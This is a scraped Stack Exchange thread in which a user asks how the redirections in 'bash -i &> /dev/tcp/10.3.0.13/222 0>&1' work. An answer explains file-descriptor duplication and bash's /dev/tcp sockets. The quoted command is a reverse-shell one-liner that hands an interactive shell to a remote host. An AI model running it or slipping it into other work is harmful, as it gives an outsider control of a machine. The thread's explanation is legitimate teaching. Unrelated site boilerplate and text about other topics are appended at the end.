What does the 0>&1 shell redirection mean?What does a “< <(…)” redirection mean?what do you mean by interactive shell?&> redirection not working correctlyUnderstanding Bash's Read-a-File Command Substitutionpipe in shell with redirectionBash interactive mode on redirectDuplication of file descriptors in redirectionwhat does “sh -” mean?Read / write to the same file descriptor with shell redirectionbash shell modes? how to pipe request to shell on remote server

Can't connect to Internet in bash using Mac OS

Can a rogue effectively triple their speed by combining Dash and Ready?

Adding strings in lists together

Tic-Tac-Toe for the terminal

How to capture more stars?

What does the behaviour of water on the skin of an aircraft in flight tell us?

What are the slash markings on Gatwick's 08R/26L?

What does "Marchentalender" on the front of a postcard mean?

Understanding STM32 datasheet regarding decoupling capacitors

Is the world in Game of Thrones spherical or flat?

What does it mean when you think without speaking?

Is there a rule that prohibits us from using 2 possessives in a row?

How can I offer a test ride while selling a bike?

Could IPv6 make NAT / port numbers redundant?

Rotated Position of Integers

Why were the Night's Watch required to be celibate?

If a problem only occurs randomly once in every N times on average, how many tests do I have to perform to be certain that it's now fixed?

Can non-English-speaking characters use wordplay specific to English?

Is this light switch installation safe and legal?

Why does the UK have more political parties than the US?

Get LaTeX form from step by step solution

Intuition behind eigenvalues of an adjacency matrix

Different PCB color ( is it different material? )

Uncommanded roll at high speed



What does the 0>&1 shell redirection mean?


What does a “< <(…)” redirection mean?what do you mean by interactive shell?&> redirection not working correctlyUnderstanding Bash's Read-a-File Command Substitutionpipe in shell with redirectionBash interactive mode on redirectDuplication of file descriptors in redirectionwhat does “sh -” mean?Read / write to the same file descriptor with shell redirectionbash shell modes? how to pipe request to shell on remote server






.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty margin-bottom:0;








3















trying to understand the command:



bash -i &> /dev/tcp/10.3.0.13/222 0>&1


it means that the STDIN of "bash -i" will get the STDOUT contents?










share|improve this question









New contributor



Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

























    3















    trying to understand the command:



    bash -i &> /dev/tcp/10.3.0.13/222 0>&1


    it means that the STDIN of "bash -i" will get the STDOUT contents?










    share|improve this question









    New contributor



    Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
    Check out our Code of Conduct.





















      3












      3








      3








      trying to understand the command:



      bash -i &> /dev/tcp/10.3.0.13/222 0>&1


      it means that the STDIN of "bash -i" will get the STDOUT contents?










      share|improve this question









      New contributor



      Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.











      trying to understand the command:



      bash -i &> /dev/tcp/10.3.0.13/222 0>&1


      it means that the STDIN of "bash -i" will get the STDOUT contents?







      shell






      share|improve this question









      New contributor



      Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.










      share|improve this question









      New contributor



      Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.








      share|improve this question




      share|improve this question








      edited 7 hours ago









      Stéphane Chazelas

      320k57607978




      320k57607978






      New contributor



      Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.








      asked 8 hours ago









      Gabriel Ortiz LourGabriel Ortiz Lour

      161




      161




      New contributor



      Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.




      New contributor




      Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.






















          1 Answer
          1






          active

          oldest

          votes


















          4














          &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription



          0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).



          Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.



          So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.






          share|improve this answer























          • So the 0>&1 only works because the socket is RW?

            – Gabriel Ortiz Lour
            7 hours ago






          • 1





            @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

            – Stéphane Chazelas
            7 hours ago











          Your Answer








          StackExchange.ready(function()
          var channelOptions =
          tags: "".split(" "),
          id: "106"
          ;
          initTagRenderer("".split(" "), "".split(" "), channelOptions);

          StackExchange.using("externalEditor", function()
          // Have to fire editor after snippets, if snippets enabled
          if (StackExchange.settings.snippets.snippetsEnabled)
          StackExchange.using("snippets", function()
          createEditor();
          );

          else
          createEditor();

          );

          function createEditor()
          StackExchange.prepareEditor(
          heartbeatType: 'answer',
          autoActivateHeartbeat: false,
          convertImagesToLinks: false,
          noModals: true,
          showLowRepImageUploadWarning: true,
          reputationToPostImages: null,
          bindNavPrevention: true,
          postfix: "",
          imageUploader:
          brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
          contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
          allowUrls: true
          ,
          onDemand: true,
          discardSelector: ".discard-answer"
          ,immediatelyShowMarkdownHelp:true
          );



          );






          Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.









          draft saved

          draft discarded


















          StackExchange.ready(
          function ()
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f521596%2fwhat-does-the-01-shell-redirection-mean%23new-answer', 'question_page');

          );

          Post as a guest















          Required, but never shown

























          1 Answer
          1






          active

          oldest

          votes








          1 Answer
          1






          active

          oldest

          votes









          active

          oldest

          votes






          active

          oldest

          votes









          4














          &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription



          0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).



          Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.



          So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.






          share|improve this answer























          • So the 0>&1 only works because the socket is RW?

            – Gabriel Ortiz Lour
            7 hours ago






          • 1





            @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

            – Stéphane Chazelas
            7 hours ago















          4














          &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription



          0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).



          Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.



          So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.






          share|improve this answer























          • So the 0>&1 only works because the socket is RW?

            – Gabriel Ortiz Lour
            7 hours ago






          • 1





            @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

            – Stéphane Chazelas
            7 hours ago













          4












          4








          4







          &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription



          0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).



          Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.



          So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.






          share|improve this answer













          &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription



          0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).



          Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.



          So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.







          share|improve this answer












          share|improve this answer



          share|improve this answer










          answered 7 hours ago









          Stéphane ChazelasStéphane Chazelas

          320k57607978




          320k57607978












          • So the 0>&1 only works because the socket is RW?

            – Gabriel Ortiz Lour
            7 hours ago






          • 1





            @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

            – Stéphane Chazelas
            7 hours ago

















          • So the 0>&1 only works because the socket is RW?

            – Gabriel Ortiz Lour
            7 hours ago






          • 1





            @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

            – Stéphane Chazelas
            7 hours ago
















          So the 0>&1 only works because the socket is RW?

          – Gabriel Ortiz Lour
          7 hours ago





          So the 0>&1 only works because the socket is RW?

          – Gabriel Ortiz Lour
          7 hours ago




          1




          1





          @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

          – Stéphane Chazelas
          7 hours ago





          @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.

          – Stéphane Chazelas
          7 hours ago










          Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.









          draft saved

          draft discarded


















          Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.












          Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.











          Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.














          Thanks for contributing an answer to Unix & Linux Stack Exchange!


          • Please be sure to answer the question. Provide details and share your research!

          But avoid


          • Asking for help, clarification, or responding to other answers.

          • Making statements based on opinion; back them up with references or personal experience.

          To learn more, see our tips on writing great answers.




          draft saved


          draft discarded














          StackExchange.ready(
          function ()
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f521596%2fwhat-does-the-01-shell-redirection-mean%23new-answer', 'question_page');

          );

          Post as a guest















          Required, but never shown





















































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown

































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown







          Popular posts from this blog

          Invision Community Contents History See also References External links Navigation menuProprietaryinvisioncommunity.comIPS Community ForumsIPS Community Forumsthis blog entry"License Changes, IP.Board 3.4, and the Future""Interview -- Matt Mecham of Ibforums""CEO Invision Power Board, Matt Mecham Is a Liar, Thief!"IPB License Explanation 1.3, 1.3.1, 2.0, and 2.1ArchivedSecurity Fixes, Updates And Enhancements For IPB 1.3.1Archived"New Demo Accounts - Invision Power Services"the original"New Default Skin"the original"Invision Power Board 3.0.0 and Applications Released"the original"Archived copy"the original"Perpetual licenses being done away with""Release Notes - Invision Power Services""Introducing: IPS Community Suite 4!"Invision Community Release Notes

          Canceling a color specificationRandomly assigning color to Graphics3D objects?Default color for Filling in Mathematica 9Coloring specific elements of sets with a prime modified order in an array plotHow to pick a color differing significantly from the colors already in a given color list?Detection of the text colorColor numbers based on their valueCan color schemes for use with ColorData include opacity specification?My dynamic color schemes

          Tom Holland Mục lục Đầu đời và giáo dục | Sự nghiệp | Cuộc sống cá nhân | Phim tham gia | Giải thưởng và đề cử | Chú thích | Liên kết ngoài | Trình đơn chuyển hướngProfile“Person Details for Thomas Stanley Holland, "England and Wales Birth Registration Index, 1837-2008" — FamilySearch.org”"Meet Tom Holland... the 16-year-old star of The Impossible""Schoolboy actor Tom Holland finds himself in Oscar contention for role in tsunami drama"“Naomi Watts on the Prince William and Harry's reaction to her film about the late Princess Diana”lưu trữ"Holland and Pflueger Are West End's Two New 'Billy Elliots'""I'm so envious of my son, the movie star! British writer Dominic Holland's spent 20 years trying to crack Hollywood - but he's been beaten to it by a very unlikely rival"“Richard and Margaret Povey of Jersey, Channel Islands, UK: Information about Thomas Stanley Holland”"Tom Holland to play Billy Elliot""New Billy Elliot leaving the garage"Billy Elliot the Musical - Tom Holland - Billy"A Tale of four Billys: Tom Holland""The Feel Good Factor""Thames Christian College schoolboys join Myleene Klass for The Feelgood Factor""Government launches £600,000 arts bursaries pilot""BILLY's Chapman, Holland, Gardner & Jackson-Keen Visit Prime Minister""Elton John 'blown away' by Billy Elliot fifth birthday" (video with John's interview and fragments of Holland's performance)"First News interviews Arrietty's Tom Holland"“33rd Critics' Circle Film Awards winners”“National Board of Review Current Awards”Bản gốc"Ron Howard Whaling Tale 'In The Heart Of The Sea' Casts Tom Holland"“'Spider-Man' Finds Tom Holland to Star as New Web-Slinger”lưu trữ“Captain America: Civil War (2016)”“Film Review: ‘Captain America: Civil War’”lưu trữ“‘Captain America: Civil War’ review: Choose your own avenger”lưu trữ“The Lost City of Z reviews”“Sony Pictures and Marvel Studios Find Their 'Spider-Man' Star and Director”“‘Mary Magdalene’, ‘Current War’ & ‘Wind River’ Get 2017 Release Dates From Weinstein”“Lionsgate Unleashing Daisy Ridley & Tom Holland Starrer ‘Chaos Walking’ In Cannes”“PTA's 'Master' Leads Chicago Film Critics Nominations, UPDATED: Houston and Indiana Critics Nominations”“Nominaciones Goya 2013 Telecinco Cinema – ENG”“Jameson Empire Film Awards: Martin Freeman wins best actor for performance in The Hobbit”“34th Annual Young Artist Awards”Bản gốc“Teen Choice Awards 2016—Captain America: Civil War Leads Second Wave of Nominations”“BAFTA Film Award Nominations: ‘La La Land’ Leads Race”“Saturn Awards Nominations 2017: 'Rogue One,' 'Walking Dead' Lead”Tom HollandTom HollandTom HollandTom Hollandmedia.gettyimages.comWorldCat Identities300279794no20130442900000 0004 0355 42791085670554170004732cb16706349t(data)XX5557367